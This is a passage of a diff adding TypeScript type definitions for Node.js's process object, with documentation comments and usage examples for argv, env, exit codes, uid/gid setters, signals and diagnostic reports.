Benchmark took 1154389282 nanoseconds + * }, 1000); + * ``` + */ + bigint(): bigint; + } + interface ProcessPermission { + /** + * Verifies that the process is able to access the given scope and reference. + * If no reference is provided, a global scope is assumed, for instance, `process.permission.has('fs.read')` + * will check if the process has ALL file system read permissions. + * + * The reference has a meaning based on the provided scope. For example, the reference when the scope is File System means files and folders. + * + * The available scopes are: + * + * * `fs` - All File System + * * `fs.read` - File System read operations + * * `fs.write` - File System write operations + * * `child` - Child process spawning operations + * * `worker` - Worker thread spawning operation + * + * ```js + * // Check if the process has permission to read the README file + * process.permission.has('fs.read', './README.md'); + * // Check if the process has read permission operations + * process.permission.has('fs.read'); + * ``` + * @since v20.0.0 + */ + has(scope: string, reference?: string): boolean; + } + interface ProcessReport { + /** + * Write reports in a compact format, single-line JSON, more easily consumable by log processing systems + * than the default multi-line format designed for human consumption. + * @since v13.12.0, v12.17.0 + */ + compact: boolean; + /** + * Directory where the report is written. + * The default value is the empty string, indicating that reports are written to the current + * working directory of the Node.js process. + */ + directory: string; + /** + * Filename where the report is written. If set to the empty string, the output filename will be comprised + * of a timestamp, PID, and sequence number. The default value is the empty string. + */ + filename: string; + /** + * Returns a JavaScript Object representation of a diagnostic report for the running process. + * The report's JavaScript stack trace is taken from `err`, if present. + */ + getReport(err?: Error): object; + /** + * If true, a diagnostic report is generated on fatal errors, + * such as out of memory errors or failed C++ assertions. + * @default false + */ + reportOnFatalError: boolean; + /** + * If true, a diagnostic report is generated when the process + * receives the signal specified by process.report.signal. + * @default false + */ + reportOnSignal: boolean; + /** + * If true, a diagnostic report is generated on uncaught exception. + * @default false + */ + reportOnUncaughtException: boolean; + /** + * The signal used to trigger the creation of a diagnostic report. + * @default 'SIGUSR2' + */ + signal: Signals; + /** + * Writes a diagnostic report to a file. If filename is not provided, the default filename + * includes the date, time, PID, and a sequence number. + * The report's JavaScript stack trace is taken from `err`, if present. + * + * If the value of filename is set to `'stdout'` or `'stderr'`, the report is written + * to the stdout or stderr of the process respectively. + * @param fileName Name of the file where the report is written. + * This should be a relative path, that will be appended to the directory specified in + * `process.report.directory`, or the current working directory of the Node.js process, + * if unspecified. + * @param err A custom error used for reporting the JavaScript stack. + * @return Filename of the generated report. + */ + writeReport(fileName?: string, err?: Error): string; + writeReport(err?: Error): string; + } + interface ResourceUsage { + fsRead: number; + fsWrite: number; + involuntaryContextSwitches: number; + ipcReceived: number; + ipcSent: number; + majorPageFault: number; + maxRSS: number; + minorPageFault: number; + sharedMemorySize: number; + signalsCount: number; + swappedOut: number; + systemCPUTime: number; + unsharedDataSize: number; + unsharedStackSize: number; + userCPUTime: number; + voluntaryContextSwitches: number; + } + interface EmitWarningOptions { + /** + * When `warning` is a `string`, `type` is the name to use for the _type_ of warning being emitted. + * + * @default 'Warning' + */ + type?: string | undefined; + /** + * A unique identifier for the warning instance being emitted. + */ + code?: string | undefined; + /** + * When `warning` is a `string`, `ctor` is an optional function used to limit the generated stack trace. + * + * @default process.emitWarning + */ + ctor?: Function | undefined; + /** + * Additional text to include with the error. + */ + detail?: string | undefined; + } + interface ProcessConfig { + readonly target_defaults: { + readonly cflags: any[]; + readonly default_configuration: string; + readonly defines: string[]; + readonly include_dirs: string[]; + readonly libraries: string[]; + }; + readonly variables: { + readonly clang: number; + readonly host_arch: string; + readonly node_install_npm: boolean; + readonly node_install_waf: boolean; + readonly node_prefix: string; + readonly node_shared_openssl: boolean; + readonly node_shared_v8: boolean; + readonly node_shared_zlib: boolean; + readonly node_use_dtrace: boolean; + readonly node_use_etw: boolean; + readonly node_use_openssl: boolean; + readonly target_arch: string; + readonly v8_no_strict_aliasing: number; + readonly v8_use_snapshot: boolean; + readonly visibility: string; + }; + } + interface Process extends EventEmitter { + /** + * The `process.stdout` property returns a stream connected to`stdout` (fd `1`). It is a `net.Socket` (which is a `Duplex` stream) unless fd `1` refers to a file, in which case it is + * a `Writable` stream. + * + * For example, to copy `process.stdin` to `process.stdout`: + * + * ```js + * import { stdin, stdout } from 'node:process'; + * + * stdin.pipe(stdout); + * ``` + * + * `process.stdout` differs from other Node.js streams in important ways. See `note on process I/O` for more information. + */ + stdout: WriteStream & { + fd: 1; + }; + /** + * The `process.stderr` property returns a stream connected to`stderr` (fd `2`). It is a `net.Socket` (which is a `Duplex` stream) unless fd `2` refers to a file, in which case it is + * a `Writable` stream. + * + * `process.stderr` differs from other Node.js streams in important ways. See `note on process I/O` for more information. + */ + stderr: WriteStream & { + fd: 2; + }; + /** + * The `process.stdin` property returns a stream connected to`stdin` (fd `0`). It is a `net.Socket` (which is a `Duplex` stream) unless fd `0` refers to a file, in which case it is + * a `Readable` stream. + * + * For details of how to read from `stdin` see `readable.read()`. + * + * As a `Duplex` stream, `process.stdin` can also be used in "old" mode that + * is compatible with scripts written for Node.js prior to v0.10\. + * For more information see `Stream compatibility`. + * + * In "old" streams mode the `stdin` stream is paused by default, so one + * must call `process.stdin.resume()` to read from it. Note also that calling `process.stdin.resume()` itself would switch stream to "old" mode. + */ + stdin: ReadStream & { + fd: 0; + }; + /** + * The `process.argv` property returns an array containing the command-line + * arguments passed when the Node.js process was launched. The first element will + * be {@link execPath}. See `process.argv0` if access to the original value + * of `argv[0]` is needed. The second element will be the path to the JavaScript + * file being executed. The remaining elements will be any additional command-line + * arguments. + * + * For example, assuming the following script for `process-args.js`: + * + * ```js + * import { argv } from 'node:process'; + * + * // print process.argv + * argv.forEach((val, index) => { + * console.log(`${index}: ${val}`); + * }); + * ``` + * + * Launching the Node.js process as: + * + * ```bash + * node process-args.js one two=three four + * ``` + * + * Would generate the output: + * + * ```text + * 0: /usr/local/bin/node + * 1: /Users/mjr/work/node/process-args.js + * 2: one + * 3: two=three + * 4: four + * ``` + * @since v0.1.27 + */ + argv: string[]; + /** + * The `process.argv0` property stores a read-only copy of the original value of`argv[0]` passed when Node.js starts. + * + * ```console + * $ bash -c 'exec -a customArgv0 ./node' + * > process.argv[0] + * '/Volumes/code/external/node/out/Release/node' + * > process.argv0 + * 'customArgv0' + * ``` + * @since v6.4.0 + */ + argv0: string; + /** + * The `process.execArgv` property returns the set of Node.js-specific command-line + * options passed when the Node.js process was launched. These options do not + * appear in the array returned by the {@link argv} property, and do not + * include the Node.js executable, the name of the script, or any options following + * the script name. These options are useful in order to spawn child processes with + * the same execution environment as the parent. + * + * ```bash + * node --icu-data-dir=./foo --require ./bar.js script.js --version + * ``` + * + * Results in `process.execArgv`: + * + * ```js + * ["--icu-data-dir=./foo", "--require", "./bar.js"] + * ``` + * + * And `process.argv`: + * + * ```js + * ['/usr/local/bin/node', 'script.js', '--version'] + * ``` + * + * Refer to `Worker constructor` for the detailed behavior of worker + * threads with this property. + * @since v0.7.7 + */ + execArgv: string[]; + /** + * The `process.execPath` property returns the absolute pathname of the executable + * that started the Node.js process. Symbolic links, if any, are resolved. + * + * ```js + * '/usr/local/bin/node' + * ``` + * @since v0.1.100 + */ + execPath: string; + /** + * The `process.abort()` method causes the Node.js process to exit immediately and + * generate a core file. + * + * This feature is not available in `Worker` threads. + * @since v0.7.0 + */ + abort(): never; + /** + * The `process.chdir()` method changes the current working directory of the + * Node.js process or throws an exception if doing so fails (for instance, if + * the specified `directory` does not exist). + * + * ```js + * import { chdir, cwd } from 'node:process'; + * + * console.log(`Starting directory: ${cwd()}`); + * try { + * chdir('/tmp'); + * console.log(`New directory: ${cwd()}`); + * } catch (err) { + * console.error(`chdir: ${err}`); + * } + * ``` + * + * This feature is not available in `Worker` threads. + * @since v0.1.17 + */ + chdir(directory: string): void; + /** + * The `process.cwd()` method returns the current working directory of the Node.js + * process. + * + * ```js + * import { cwd } from 'node:process'; + * + * console.log(`Current directory: ${cwd()}`); + * ``` + * @since v0.1.8 + */ + cwd(): string; + /** + * The port used by the Node.js debugger when enabled. + * + * ```js + * import process from 'node:process'; + * + * process.debugPort = 5858; + * ``` + * @since v0.7.2 + */ + debugPort: number; + /** + * The `process.dlopen()` method allows dynamically loading shared objects. It is primarily used by `require()` to load C++ Addons, and + * should not be used directly, except in special cases. In other words, `require()` should be preferred over `process.dlopen()` + * unless there are specific reasons such as custom dlopen flags or loading from ES modules. + * + * The `flags` argument is an integer that allows to specify dlopen behavior. See the `[os.constants.dlopen](https://nodejs.org/docs/latest-v22.x/api/os.html#dlopen-constants)` + * documentation for details. + * + * An important requirement when calling `process.dlopen()` is that the `module` instance must be passed. Functions exported by the C++ Addon + * are then accessible via `module.exports`. + * + * The example below shows how to load a C++ Addon, named `local.node`, that exports a `foo` function. All the symbols are loaded before the call returns, by passing the `RTLD_NOW` constant. + * In this example the constant is assumed to be available. + * + * ```js + * import { dlopen } from 'node:process'; + * import { constants } from 'node:os'; + * import { fileURLToPath } from 'node:url'; + * + * const module = { exports: {} }; + * dlopen(module, fileURLToPath(new URL('local.node', import.meta.url)), + * constants.dlopen.RTLD_NOW); + * module.exports.foo(); + * ``` + */ + dlopen(module: object, filename: string, flags?: number): void; + /** + * The `process.emitWarning()` method can be used to emit custom or application + * specific process warnings. These can be listened for by adding a handler to the `'warning'` event. + * + * ```js + * import { emitWarning } from 'node:process'; + * + * // Emit a warning using a string. + * emitWarning('Something happened!'); + * // Emits: (node: 56338) Warning: Something happened! + * ``` + * + * ```js + * import { emitWarning } from 'node:process'; + * + * // Emit a warning using a string and a type. + * emitWarning('Something Happened!', 'CustomWarning'); + * // Emits: (node:56338) CustomWarning: Something Happened! + * ``` + * + * ```js + * import { emitWarning } from 'node:process'; + * + * emitWarning('Something happened!', 'CustomWarning', 'WARN001'); + * // Emits: (node:56338) [WARN001] CustomWarning: Something happened! + * ```js + * + * In each of the previous examples, an `Error` object is generated internally by `process.emitWarning()` and passed through to the `'warning'` handler. + * + * ```js + * import process from 'node:process'; + * + * process.on('warning', (warning) => { + * console.warn(warning.name); // 'Warning' + * console.warn(warning.message); // 'Something happened!' + * console.warn(warning.code); // 'MY_WARNING' + * console.warn(warning.stack); // Stack trace + * console.warn(warning.detail); // 'This is some additional information' + * }); + * ``` + * + * If `warning` is passed as an `Error` object, it will be passed through to the `'warning'` event handler + * unmodified (and the optional `type`, `code` and `ctor` arguments will be ignored): + * + * ```js + * import { emitWarning } from 'node:process'; + * + * // Emit a warning using an Error object. + * const myWarning = new Error('Something happened!'); + * // Use the Error name property to specify the type name + * myWarning.name = 'CustomWarning'; + * myWarning.code = 'WARN001'; + * + * emitWarning(myWarning); + * // Emits: (node:56338) [WARN001] CustomWarning: Something happened! + * ``` + * + * A `TypeError` is thrown if `warning` is anything other than a string or `Error` object. + * + * While process warnings use `Error` objects, the process warning mechanism is not a replacement for normal error handling mechanisms. + * + * The following additional handling is implemented if the warning `type` is `'DeprecationWarning'`: + * * If the `--throw-deprecation` command-line flag is used, the deprecation warning is thrown as an exception rather than being emitted as an event. + * * If the `--no-deprecation` command-line flag is used, the deprecation warning is suppressed. + * * If the `--trace-deprecation` command-line flag is used, the deprecation warning is printed to `stderr` along with the full stack trace. + * @since v8.0.0 + * @param warning The warning to emit. + */ + emitWarning(warning: string | Error, ctor?: Function): void; + emitWarning(warning: string | Error, type?: string, ctor?: Function): void; + emitWarning(warning: string | Error, type?: string, code?: string, ctor?: Function): void; + emitWarning(warning: string | Error, options?: EmitWarningOptions): void; + /** + * The `process.env` property returns an object containing the user environment. + * See [`environ(7)`](http://man7.org/linux/man-pages/man7/environ.7.html). + * + * An example of this object looks like: + * + * ```js + * { + * TERM: 'xterm-256color', + * SHELL: '/usr/local/bin/bash', + * USER: 'maciej', + * PATH: '~/.bin/:/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin', + * PWD: '/Users/maciej', + * EDITOR: 'vim', + * SHLVL: '1', + * HOME: '/Users/maciej', + * LOGNAME: 'maciej', + * _: '/usr/local/bin/node' + * } + * ``` + * + * It is possible to modify this object, but such modifications will not be + * reflected outside the Node.js process, or (unless explicitly requested) + * to other `Worker` threads. + * In other words, the following example would not work: + * + * ```bash + * node -e 'process.env.foo = "bar"' && echo $foo + * ``` + * + * While the following will: + * + * ```js + * import { env } from 'node:process'; + * + * env.foo = 'bar'; + * console.log(env.foo); + * ``` + * + * Assigning a property on `process.env` will implicitly convert the value + * to a string. **This behavior is deprecated.** Future versions of Node.js may + * throw an error when the value is not a string, number, or boolean. + * + * ```js + * import { env } from 'node:process'; + * + * env.test = null; + * console.log(env.test); + * // => 'null' + * env.test = undefined; + * console.log(env.test); + * // => 'undefined' + * ``` + * + * Use `delete` to delete a property from `process.env`. + * + * ```js + * import { env } from 'node:process'; + * + * env.TEST = 1; + * delete env.TEST; + * console.log(env.TEST); + * // => undefined + * ``` + * + * On Windows operating systems, environment variables are case-insensitive. + * + * ```js + * import { env } from 'node:process'; + * + * env.TEST = 1; + * console.log(env.test); + * // => 1 + * ``` + * + * Unless explicitly specified when creating a `Worker` instance, + * each `Worker` thread has its own copy of `process.env`, based on its + * parent thread's `process.env`, or whatever was specified as the `env` option + * to the `Worker` constructor. Changes to `process.env` will not be visible + * across `Worker` threads, and only the main thread can make changes that + * are visible to the operating system or to native add-ons. On Windows, a copy of `process.env` on a `Worker` instance operates in a case-sensitive manner + * unlike the main thread. + * @since v0.1.27 + */ + env: ProcessEnv; + /** + * The `process.exit()` method instructs Node.js to terminate the process + * synchronously with an exit status of `code`. If `code` is omitted, exit uses + * either the 'success' code `0` or the value of `process.exitCode` if it has been + * set. Node.js will not terminate until all the `'exit'` event listeners are + * called. + * + * To exit with a 'failure' code: + * + * ```js + * import { exit } from 'node:process'; + * + * exit(1); + * ``` + * + * The shell that executed Node.js should see the exit code as `1`. + * + * Calling `process.exit()` will force the process to exit as quickly as possible + * even if there are still asynchronous operations pending that have not yet + * completed fully, including I/O operations to `process.stdout` and `process.stderr`. + * + * In most situations, it is not actually necessary to call `process.exit()` explicitly. The Node.js process will exit on its own _if there is no additional_ + * _work pending_ in the event loop. The `process.exitCode` property can be set to + * tell the process which exit code to use when the process exits gracefully. + * + * For instance, the following example illustrates a _misuse_ of the `process.exit()` method that could lead to data printed to stdout being + * truncated and lost: + * + * ```js + * import { exit } from 'node:process'; + * + * // This is an example of what *not* to do: + * if (someConditionNotMet()) { + * printUsageToStdout(); + * exit(1); + * } + * ``` + * + * The reason this is problematic is because writes to `process.stdout` in Node.js + * are sometimes _asynchronous_ and may occur over multiple ticks of the Node.js + * event loop. Calling `process.exit()`, however, forces the process to exit _before_ those additional writes to `stdout` can be performed. + * + * Rather than calling `process.exit()` directly, the code _should_ set the `process.exitCode` and allow the process to exit naturally by avoiding + * scheduling any additional work for the event loop: + * + * ```js + * import process from 'node:process'; + * + * // How to properly set the exit code while letting + * // the process exit gracefully. + * if (someConditionNotMet()) { + * printUsageToStdout(); + * process.exitCode = 1; + * } + * ``` + * + * If it is necessary to terminate the Node.js process due to an error condition, + * throwing an _uncaught_ error and allowing the process to terminate accordingly + * is safer than calling `process.exit()`. + * + * In `Worker` threads, this function stops the current thread rather + * than the current process. + * @since v0.1.13 + * @param [code=0] The exit code. For string type, only integer strings (e.g.,'1') are allowed. + */ + exit(code?: number | string | null | undefined): never; + /** + * A number which will be the process exit code, when the process either + * exits gracefully, or is exited via {@link exit} without specifying + * a code. + * + * Specifying a code to {@link exit} will override any + * previous setting of `process.exitCode`. + * @default undefined + * @since v0.11.8 + */ + exitCode?: number | string | number | undefined; + finalization: { + /** + * This function registers a callback to be called when the process emits the `exit` event if the `ref` object was not garbage collected. + * If the object `ref` was garbage collected before the `exit` event is emitted, the callback will be removed from the finalization registry, and it will not be called on process exit. + * + * Inside the callback you can release the resources allocated by the `ref` object. + * Be aware that all limitations applied to the `beforeExit` event are also applied to the callback function, + * this means that there is a possibility that the callback will not be called under special circumstances. + * + * The idea of ​​this function is to help you free up resources when the starts process exiting, but also let the object be garbage collected if it is no longer being used. + * @param ref The reference to the resource that is being tracked. + * @param callback The callback function to be called when the resource is finalized. + * @since v22.5.0 + * @experimental + */ + register(ref: T, callback: (ref: T, event: "exit") => void): void; + /** + * This function behaves exactly like the `register`, except that the callback will be called when the process emits the `beforeExit` event if `ref` object was not garbage collected. + * + * Be aware that all limitations applied to the `beforeExit` event are also applied to the callback function, this means that there is a possibility that the callback will not be called under special circumstances. + * @param ref The reference to the resource that is being tracked. + * @param callback The callback function to be called when the resource is finalized. + * @since v22.5.0 + * @experimental + */ + registerBeforeExit(ref: T, callback: (ref: T, event: "beforeExit") => void): void; + /** + * This function remove the register of the object from the finalization registry, so the callback will not be called anymore. + * @param ref The reference to the resource that was registered previously. + * @since v22.5.0 + * @experimental + */ + unregister(ref: object): void; + }; + /** + * The `process.getActiveResourcesInfo()` method returns an array of strings containing + * the types of the active resources that are currently keeping the event loop alive. + * + * ```js + * import { getActiveResourcesInfo } from 'node:process'; + * import { setTimeout } from 'node:timers'; + + * console.log('Before:', getActiveResourcesInfo()); + * setTimeout(() => {}, 1000); + * console.log('After:', getActiveResourcesInfo()); + * // Prints: + * // Before: [ 'TTYWrap', 'TTYWrap', 'TTYWrap' ] + * // After: [ 'TTYWrap', 'TTYWrap', 'TTYWrap', 'Timeout' ] + * ``` + * @since v17.3.0, v16.14.0 + */ + getActiveResourcesInfo(): string[]; + /** + * Provides a way to load built-in modules in a globally available function. + * @param id ID of the built-in module being requested. + */ + getBuiltinModule(id: ID): BuiltInModule[ID]; + getBuiltinModule(id: string): object | undefined; + /** + * The `process.getgid()` method returns the numerical group identity of the + * process. (See [`getgid(2)`](http://man7.org/linux/man-pages/man2/getgid.2.html).) + * + * ```js + * import process from 'node:process'; + * + * if (process.getgid) { + * console.log(`Current gid: ${process.getgid()}`); + * } + * ``` + * + * This function is only available on POSIX platforms (i.e. not Windows or + * Android). + * @since v0.1.31 + */ + getgid?: () => number; + /** + * The `process.setgid()` method sets the group identity of the process. (See [`setgid(2)`](http://man7.org/linux/man-pages/man2/setgid.2.html).) The `id` can be passed as either a + * numeric ID or a group name + * string. If a group name is specified, this method blocks while resolving the + * associated numeric ID. + * + * ```js + * import process from 'node:process'; + * + * if (process.getgid && process.setgid) { + * console.log(`Current gid: ${process.getgid()}`); + * try { + * process.setgid(501); + * console.log(`New gid: ${process.getgid()}`); + * } catch (err) { + * console.log(`Failed to set gid: ${err}`); + * } + * } + * ``` + * + * This function is only available on POSIX platforms (i.e. not Windows or + * Android). + * This feature is not available in `Worker` threads. + * @since v0.1.31 + * @param id The group name or ID + */ + setgid?: (id: number | string) => void; + /** + * The `process.getuid()` method returns the numeric user identity of the process. + * (See [`getuid(2)`](http://man7.org/linux/man-pages/man2/getuid.2.html).) + * + * ```js + * import process from 'node:process'; + * + * if (process.getuid) { + * console.log(`Current uid: ${process.getuid()}`); + * } + * ``` + * + * This function is only available on POSIX platforms (i.e. not Windows or + * Android). + * @since v0.1.28 + */ + getuid?: () => number; + /** + * The `process.setuid(id)` method sets the user identity of the process. (See [`setuid(2)`](http://man7.org/linux/man-pages/man2/setuid.2.html).) The `id` can be passed as either a + * numeric ID or a username string. + * If a username is specified, the method blocks while resolving the associated + * numeric ID. + * + * ```js + * import process from 'node:process'; + * + * if (process.getuid && process.setuid) { + * console.log(`Current uid: ${process.getuid()}`); + * try { + * process.setuid(501); + * console.log(`New uid: ${process.getuid()}`); + * } catch (err) { + * console.log(`Failed to set uid: ${err}`); + * } + * } + * ``` + * + * This function is only available on POSIX platforms (i.e. not Windows or + * Android). + * This feature is not available in `Worker` threads. + * @since v0.1.28 + */ + setuid?: (id: number | string) => void; + /** + * The `process.geteuid()` method returns the numerical effective user identity of + * the process. (See [`geteuid(2)`](http://man7.org/linux/man-pages/man2/geteuid.2.html).) + * + * ```js + * import process from 'node:process'; + * + * if (process.geteuid) { + * console.log(`Current uid: ${process.geteuid()}`); + * } + * ``` + * + * This function is only available on POSIX platforms (i.e. not Windows or + * Android). + * @since v2.0.0 + */ + geteuid?: () => number; + /** + * The `process.seteuid()` method sets the effective user identity of the process. + * (See [`seteuid(2)`](http://man7.org/linux/man-pages/man2/seteuid.2.html).) The `id` can be passed as either a numeric ID or a username + * string. If a username is specified, the method blocks while resolving the + * associated numeric ID. + * + * ```js + * import process from 'node:process'; + * + * if (process.geteuid && process.seteuid) { + * console.log(`Current uid: ${process.geteuid()}`); + * try { + * process.seteuid(501); + * console.log(`New uid: ${process.geteuid()}`); + * } catch (err) { + * console.log(`Failed to set uid: ${err}`); + * } + * } + * ``` + * + * This function is only available on POSIX platforms (i.e. not Windows or + * Android). + * This feature is not available in `Worker` threads. + * @since v2.0.0 + * @param id A user name or ID + */ + seteuid?: (id: number | string) => void; + /** + * The `process.getegid()` method returns the numerical effective group identity + * of the Node.js process. (See [`getegid(2)`](http://man7.org/linux/man-pages/man2/getegid.2.html).) + * + * ```js + * import process from 'node:process'; + * + * if (process.getegid) { + * console.log(`Current gid: ${process.getegid()}`); + * } + * ``` + * + * This function is only available on POSIX platforms (i.e. not Windows or + * Android). + * @since v2.0.0 + */ + getegid?: () => number; + /** + * The `process.setegid()` method sets the effective group identity of the process. + * (See [`setegid(2)`](http://man7.org/linux/man-pages/man2/setegid.2.html).) The `id` can be passed as either a numeric ID or a group + * name string. If a group name is specified, this method blocks while resolving + * the associated a numeric ID. + * + * ```js + * import process from 'node:process'; + * + * if (process.getegid && process.setegid) { + * console.log(`Current gid: ${process.getegid()}`); + * try { + * process.setegid(501); + * console.log(`New gid: ${process.getegid()}`); + * } catch (err) { + * console.log(`Failed to set gid: ${err}`); + * } + * } + * ``` + * + * This function is only available on POSIX platforms (i.e. not Windows or + * Android). + * This feature is not available in `Worker` threads. + * @since v2.0.0 + * @param id A group name or ID + */ + setegid?: (id: number | string) => void; + /** + * The `process.getgroups()` method returns an array with the supplementary group + * IDs. POSIX leaves it unspecified if the effective group ID is included but + * Node.js ensures it always is. + * + * ```js + * import process from 'node:process'; + * + * if (process.getgroups) { + * console.log(process.getgroups()); // [ 16, 21, 297 ] + * } + * ``` + * + * This function is only available on POSIX platforms (i.e. not Windows or + * Android). + * @since v0.9.4 + */ + getgroups?: () => number[]; + /** + * The `process.setgroups()` method sets the supplementary group IDs for the + * Node.js process. This is a privileged operation that requires the Node.js + * process to have `root` or the `CAP_SETGID` capability. + * + * The `groups` array can contain numeric group IDs, group names, or both. + * + * ```js + * import process from 'node:process'; + * + * if (process.getgroups && process.setgroups) { + * try { + * process.setgroups([501]); + * console.log(process.getgroups()); // new groups + * } catch (err) { + * console.log(`Failed to set groups: ${err}`); + * } + * } + * ``` + * + * This function is only available on POSIX platforms (i.e. not Windows or + * Android). + * This feature is not available in `Worker` threads. + * @since v0.9.4 + */ + setgroups?: (groups: ReadonlyArray) => void; + /** + * The `process.setUncaughtExceptionCaptureCallback()` function sets a function + * that will be invoked when an uncaught exception occurs, which will receive the + * exception value itself as its first argument. + * + * If such a function is set, the `'uncaughtException'` event will + * not be emitted. If `--abort-on-uncaught-exception` was passed from the + * command line or set through `v8.setFlagsFromString()`, the process will + * not abort. Actions configured to take place on exceptions such as report + * generations will be affected too + * + * To unset the capture function, `process.setUncaughtExceptionCaptureCallback(null)` may be used. Calling this + * method with a non-`null` argument while another capture function is set will + * throw an error. + * + * Using this function is mutually exclusive with using the deprecated `domain` built-in module. + * @since v9.3.0 + */ + setUncaughtExceptionCaptureCallback(cb: ((err: Error) => void) | null): void; + /** + * Indicates whether a callback has been set using {@link setUncaughtExceptionCaptureCallback}. + * @since v9.3.0 + */ + hasUncaughtExceptionCaptureCallback(): boolean; + /** + * The `process.sourceMapsEnabled` property returns whether the [Source Map v3](https://sourcemaps.info/spec.html) support for stack traces is enabled. + * @since v20.7.0 + * @experimental + */ + readonly sourceMapsEnabled: boolean; + /** + * This function enables or disables the [Source Map v3](https://sourcemaps.info/spec.html) support for + * stack traces. + * + * It provides same features as launching Node.js process with commandline options `--enable-source-maps`. + * + * Only source maps in JavaScript files that are loaded after source maps has been + * enabled will be parsed and loaded. + * @since v16.6.0, v14.18.0 + * @experimental + */ + setSourceMapsEnabled(value: boolean): void; + /** + * The `process.version` property contains the Node.js version string. + * + * ```js + * import { version } from 'node:process'; + * + * console.log(`Version: ${version}`); + * // Version: v14.8.0 + * ``` + * + * To get the version string without the prepended _v_, use`process.versions.node`. + * @since v0.1.3 + */ + readonly version: string; + /** + * The `process.versions` property returns an object listing the version strings of + * Node.js and its dependencies. `process.versions.modules` indicates the current + * ABI version, which is increased whenever a C++ API changes. Node.js will refuse + * to load modules that were compiled against a different module ABI version. + * + * ```js + * import { versions } from 'node:process'; + * + * console.log(versions); + * ``` + * + * Will generate an object similar to: + * + * ```console + * { node: '20.2.0', + * acorn: '8.8.2', + * ada: '2.4.0', + * ares: '1.19.0', + * base64: '0.5.0', + * brotli: '1.0.9', + * cjs_module_lexer: '1.2.2', + * cldr: '43.0', + * icu: '73.1', + * llhttp: '8.1.0', + * modules: '115', + * napi: '8', + * nghttp2: '1.52.0', + * nghttp3: '0.7.0', + * ngtcp2: '0.8.1', + * openssl: '3.0.8+quic', + * simdutf: '3.2.9', + * tz: '2023c', + * undici: '5.22.0', + * unicode: '15.0', + * uv: '1.44.2', + * uvwasi: '0.0.16', + * v8: '11.3.244.8-node.9', + * zlib: '1.2.13' } + * ``` + * @since v0.2.0 + */ + readonly versions: ProcessVersions; + /** + * The `process.config` property returns a frozen `Object` containing the + * JavaScript representation of the configure options used to compile the current + * Node.js executable. This is the same as the `config.gypi` file that was produced + * when running the `./configure` script. + * + * An example of the possible output looks like: + * + * ```js + * { + * target_defaults: + * { cflags: [], + * default_configuration: 'Release', + * defines: [], + * include_dirs: [], + * libraries: [] }, + * variables: + * { + * host_arch: 'x64', + * napi_build_version: 5, + * node_install_npm: 'true', + * node_prefix: '', + * node_shared_cares: 'false', + * node_shared_http_parser: 'false', + * node_shared_libuv: 'false', + * node_shared_zlib: 'false', + * node_use_openssl: 'true', + * node_shared_openssl: 'false', + * strict_aliasing: 'true', + * target_arch: 'x64', + * v8_use_snapshot: 1 + * } + * } + * ``` + * @since v0.7.7 + */ + readonly config: ProcessConfig; + /** + * The `process.kill()` method sends the `signal` to the process identified by`pid`. + * + * Signal names are strings such as `'SIGINT'` or `'SIGHUP'`. See `Signal Events` and [`kill(2)`](http://man7.org/linux/man-pages/man2/kill.2.html) for more information. + * + * This method will throw an error if the target `pid` does not exist. As a special + * case, a signal of `0` can be used to test for the existence of a process. + * Windows platforms will throw an error if the `pid` is used to kill a process + * group. + * + * Even though the name of this function is `process.kill()`, it is really just a + * signal sender, like the `kill` system call. The signal sent may do something + * other than kill the target process. + * + * ```js + * import process, { kill } from 'node:process'; + * + * process.on('SIGHUP', () => { + * console.log('Got SIGHUP signal.'); + * }); + * + * setTimeout(() => { + * console.log('Exiting.'); + * process.exit(0); + * }, 100); + * + * kill(process.pid, 'SIGHUP'); + * ``` + * + * When `SIGUSR1` is received by a Node.js process, Node.js will start the + * debugger. See `Signal Events`. + * @since v0.0.6 + * @param pid A process ID + * @param [signal='SIGTERM'] The signal to send, either as a string or number. + */ + kill(pid: number, signal?: string | number): true; + /** + * Loads the environment configuration from a `.env` file into `process.env`. If + * the file is not found, error will be thrown. + * + * To load a specific .env file by specifying its path, use the following code: + * + * ```js + * import { loadEnvFile } from 'node:process'; + * + * loadEnvFile('./development.env') + * ``` + * @since v20.12.0 + * @param path The path to the .env file + */ + loadEnvFile(path?: string | URL | Buffer): void; + /** + * The `process.pid` property returns the PID of the process. + * + * ```js + * import { pid } from 'node:process'; + * + * console.log(`This process is pid ${pid}`); + * ``` + * @since v0.1.15 + */ + readonly pid: number; + /** + * The `process.ppid` property returns the PID of the parent of the + * current process. + * + * ```js + * import { ppid } from 'node:process'; + * + * console.log(`The parent process is pid ${ppid}`); + * ``` + * @since v9.2.0, v8.10.0, v6.13.0 + */ + readonly ppid: number; + /** + * The `process.title` property returns the current process title (i.e. returns + * the current value of `ps`). Assigning a new value to `process.title` modifies + * the current value of `ps`. + * + * When a new value is assigned, different platforms will impose different maximum + * length restrictions on the title. Usually such restrictions are quite limited. + * For instance, on Linux and macOS, `process.title` is limited to the size of the + * binary name plus the length of the command-line arguments because setting the `process.title` overwrites the `argv` memory of the process. Node.js v0.8 + * allowed for longer process title strings by also overwriting the `environ` memory but that was potentially insecure and confusing in some (rather obscure) + * cases. + * + * Assigning a value to `process.title` might not result in an accurate label + * within process manager applications such as macOS Activity Monitor or Windows + * Services Manager. + * @since v0.1.104 + */ + title: string; + /** + * The operating system CPU architecture for which the Node.js binary was compiled. + * Possible values are: `'arm'`, `'arm64'`, `'ia32'`, `'loong64'`, `'mips'`, `'mipsel'`, `'ppc'`, `'ppc64'`, `'riscv64'`, `'s390'`, `'s390x'`, and `'x64'`. + * + * ```js + * import { arch } from 'node:process'; + * + * console.log(`This processor architecture is ${arch}`); + * ``` + * @since v0.5.0 + */ + readonly arch: Architecture; + /** + * The `process.platform` property returns a string identifying the operating + * system platform for which the Node.js binary was compiled. + * + * Currently possible values are: + * + * * `'aix'` + * * `'darwin'` + * * `'freebsd'` + * * `'linux'` + * * `'openbsd'` + * * `'sunos'` + * * `'win32'` + * + * ```js + * import { platform } from 'node:process'; + * + * console.log(`This platform is ${platform}`); + * ``` + * + * The value `'android'` may also be returned if the Node.js is built on the + * Android operating system. However, Android support in Node.js [is experimental](https://github.com/nodejs/node/blob/HEAD/BUILDING.md#androidandroid-based-devices-eg-firefox-os). + * @since v0.1.16 + */ + readonly platform: Platform; + /** + * The `process.mainModule` property provides an alternative way of retrieving `require.main`. The difference is that if the main module changes at + * runtime, `require.main` may still refer to the original main module in + * modules that were required before the change occurred. Generally, it's + * safe to assume that the two refer to the same module. + * + * As with `require.main`, `process.mainModule` will be `undefined` if there + * is no entry script. + * @since v0.1.17 + * @deprecated Since v14.0.0 - Use `main` instead. + */ + mainModule?: Module | 